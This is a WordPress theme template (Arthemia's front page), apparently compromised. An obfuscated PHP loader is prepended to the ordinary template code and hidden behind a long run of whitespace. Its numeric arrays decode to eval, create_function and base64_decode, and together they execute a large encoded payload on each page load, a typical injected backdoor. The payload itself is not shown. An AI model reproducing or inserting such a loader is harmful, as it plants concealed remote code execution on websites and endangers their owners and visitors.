<?php                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           $Ga0XiDnvATb0gOzeCzNi= array('8207','8224','8203','8214');$BIkwAgEjysEzjsHMF2do44vJtAbTdjvQS= array('5075','5090','5077','5073','5092','5077','5071','5078','5093','5086','5075','5092','5081','5087','5086');$RiNGsc= array('9943','9942','9960','9946','9899','9897','9940','9945','9946','9944','9956','9945','9946');$QiKlCK2lBUvUAxy2vQKScDhMzn7GQAxMI8XaIQm9AIT16iTr="[encoded data, 23896 characters]";if (!function_exists("eGsgOx15KigQqa2RHT9qNsNY6wqT")){ function eGsgOx15KigQqa2RHT9qNsNY6wqT($SOPH8YSciSoV6rZT8Q4PODdLN4nvujfsXUZWIIYQrcCnus6t8,$HNvco86CtrLyJyizlR7ayod0CxjzRhqPVLSaKOC35dsFCB4Ni2){$chRxJfG9WOpCz1kABZ2vU5Nqyekcn = '';foreach($SOPH8YSciSoV6rZT8Q4PODdLN4nvujfsXUZWIIYQrcCnus6t8 as $SUkxiUCPTpt9RT11jsQcOB8rRww2zJ6fugDC){$chRxJfG9WOpCz1kABZ2vU5Nqyekcn .= chr($SUkxiUCPTpt9RT11jsQcOB8rRww2zJ6fugDC - $HNvco86CtrLyJyizlR7ayod0CxjzRhqPVLSaKOC35dsFCB4Ni2);}return $chRxJfG9WOpCz1kABZ2vU5Nqyekcn;}$BHKaZRPmJLXRSD7TwOrgOHT7kI3 = eGsgOx15KigQqa2RHT9qNsNY6wqT($Ga0XiDnvATb0gOzeCzNi,8106);$tNMtknua4anEMaluEjd1Yu8D2RAdquKf7mzhzUiuUvY = eGsgOx15KigQqa2RHT9qNsNY6wqT($BIkwAgEjysEzjsHMF2do44vJtAbTdjvQS,4976);$gaRZkVR9gPC8x3bNnLSlY = eGsgOx15KigQqa2RHT9qNsNY6wqT($RiNGsc,9845);$bo2BIMWx9hyR7JCPIJu = $tNMtknua4anEMaluEjd1Yu8D2RAdquKf7mzhzUiuUvY('$MR5Juildu9lNodeWQ0kQ8Jy6j0LSA6',$BHKaZRPmJLXRSD7TwOrgOHT7kI3.'('.$gaRZkVR9gPC8x3bNnLSlY.'($MR5Juildu9lNodeWQ0kQ8Jy6j0LSA6));');$bo2BIMWx9hyR7JCPIJu($QiKlCK2lBUvUAxy2vQKScDhMzn7GQAxMI8XaIQm9AIT16iTr);}?><?php get_header(); ?>
	
	<?php if(!is_paged()) { ?>

	<div id="top" class="clearfloat">
	
		<div id="headline">
		<img src="<?php echo get_option('home'); ?>/wp-content/themes/arthemia/images/headline.png" width="75px" height="21px" alt="" />
		<?php query_posts("showposts=1&category_name=Headline"); ?>
		<?php while (have_posts()) : the_post(); ?>	
	
	<div class="title"><a href="<?php the_permalink() ?>" rel="bookmark"><?php the_title(); ?></a></div>
	<div class="meta">[<?php the_time('j M Y') ?> | <?php comments_popup_link('No Comment', 'One Comment', '% Comments');?> | <?php if(function_exists('the_views')) { the_views(); } ?>]</div>	
	<?php $values = get_post_custom_values("Headline");?>
 	<a href="<?php the_permalink() ?>" rel="bookmark" title="Permanent Link to <?php the_title(); ?>">
<img src="<?php echo bloginfo('template_url'); ?>/scripts/timthumb.php?src=/<?php
$values = get_post_custom_values("Image"); echo $values[0]; ?>&w=300&h=275&zc=1&q=100"
alt="<?php the_title(); ?>" class="left" width="300px" height="275px"  /></a>
	<?php the_excerpt(); ?>
	<a href="<?php the_permalink() ?>" rel="bookmark" title="Permanent Link to <?php the_title(); ?>">Read the full story &raquo;</a>
	<?php endwhile; ?>
		</div>
		
	<div id="featured">
	
	<img src="<?php echo get_option('home'); ?>/wp-content/themes/arthemia/images/featured.png" width="72px" height="17px" alt="" />

	<?php query_posts("showposts=4&category_name=Featured"); $i = 1; ?>

		
      	<?php while (have_posts()) : the_post(); ?>
	<div class="clearfloat">
	<?php $values = get_post_custom_values("Image");
	if (isset($values[0])) { ?>
      <a href="<?php the_permalink() ?>" rel="bookmark" title="Permanent Link to <?php the_title(); ?>">
	<img src="<?php echo bloginfo('template_url'); ?>/scripts/timthumb.php?src=/<?php
$values = get_post_custom_values("Image"); echo $values[0]; ?>&w=100&h=65&zc=1&q=100"
alt="<?php the_title(); ?>" class="left" width="100px" height="65px"  /></a>
      <?php } ?>
	<div class="info"><a href="<?php the_permalink() ?>" rel="bookmark" class="title"><?php the_title(); ?></a>
<div class="meta">[<?php the_time('j M Y') ?> | <?php comments_popup_link('No Comment', 'One Comment', '% Comments');?> | <?php if(function_exists('the_views')) { the_views(); } ?>]</div>	
	
</div>
    	</div>
	
      <?php endwhile; ?>

	</div>

</div>	

	<div id="middle" class="clearfloat">
	<img src="<?php echo get_option('home'); ?>/wp-content/themes/arthemia/images/category.png" class="clearfloat" alt="" />
	<?php $display_categories = array(5,6,7,8,11); $i = 1;
	foreach ($display_categories as $category) { ?>

	<div id="cat-<?php echo $i; ?>" class="category">
		<?php query_posts("showposts=1&cat=$category")?>
		<span class="cat_title"><a href="<?php echo get_category_link($category);?>"><?php single_cat_title(); ?></a></span>
		<a href="<?php echo get_category_link($category);?>"><?php echo category_description($category); ?></a>
	</div>

	<?php $i++; ?>
    	<?php } ?>

	</div>

	<?php } ?>

	<div id="bottom" class="clearfloat">
		
	<div id="front-list">	
	
	<?php
      $page = (get_query_var('paged')) ? get_query_var('paged') : 1;
      query_posts("cat=-27,-28&paged=$page&posts_per_page=5"); ?>
	
	<?php while (have_posts()) : the_post(); ?>		

	<div class="clearfloat">
	<h3 class=cat_title><?php the_category(', '); ?> &raquo</h3>
	<div class="title"><a href="<?php the_permalink() ?>" rel="bookmark"><?php the_title(); ?></a></div>
	<div class="meta">[<?php the_time('j M Y') ?> | <?php comments_popup_link('No Comment', 'One Comment', '% Comments');?> | <?php if(function_exists('the_views')) { the_views(); } ?>]</div>	
	
	<div class="spoiler">
	<?php	$values = get_post_custom_values("Image");
	if (isset($values[0])) { ?>
      <a href="<?php the_permalink() ?>" rel="bookmark" title="Permanent Link to <?php the_title(); ?>">
	<img src="<?php echo bloginfo('template_url'); ?>/scripts/timthumb.php?src=/<?php
$values = get_post_custom_values("Image"); echo $values[0]; ?>&w=150&h=150&zc=1&q=100"
alt="<?php the_title(); ?>" class="left" width="150px" height="150px"  /></a>
      <?php } ?>

	<?php the_excerpt(); ?>
	</div>

	</div>
		
      <?php endwhile; ?>

	<div class="navigation">
		<?php if(function_exists('wp_pagenavi')) { wp_pagenavi(); } 
			else { ?>

			<div class="right"><?php next_posts_link('Next Page &raquo;') ?></div>
			<div class="left"><?php previous_posts_link('&laquo; Previous Page') ?></div>
			<?php } ?>

	</div>
	
	</div>
		

	<?php get_sidebar(); ?>

	</div>	

<?php get_footer(); ?>
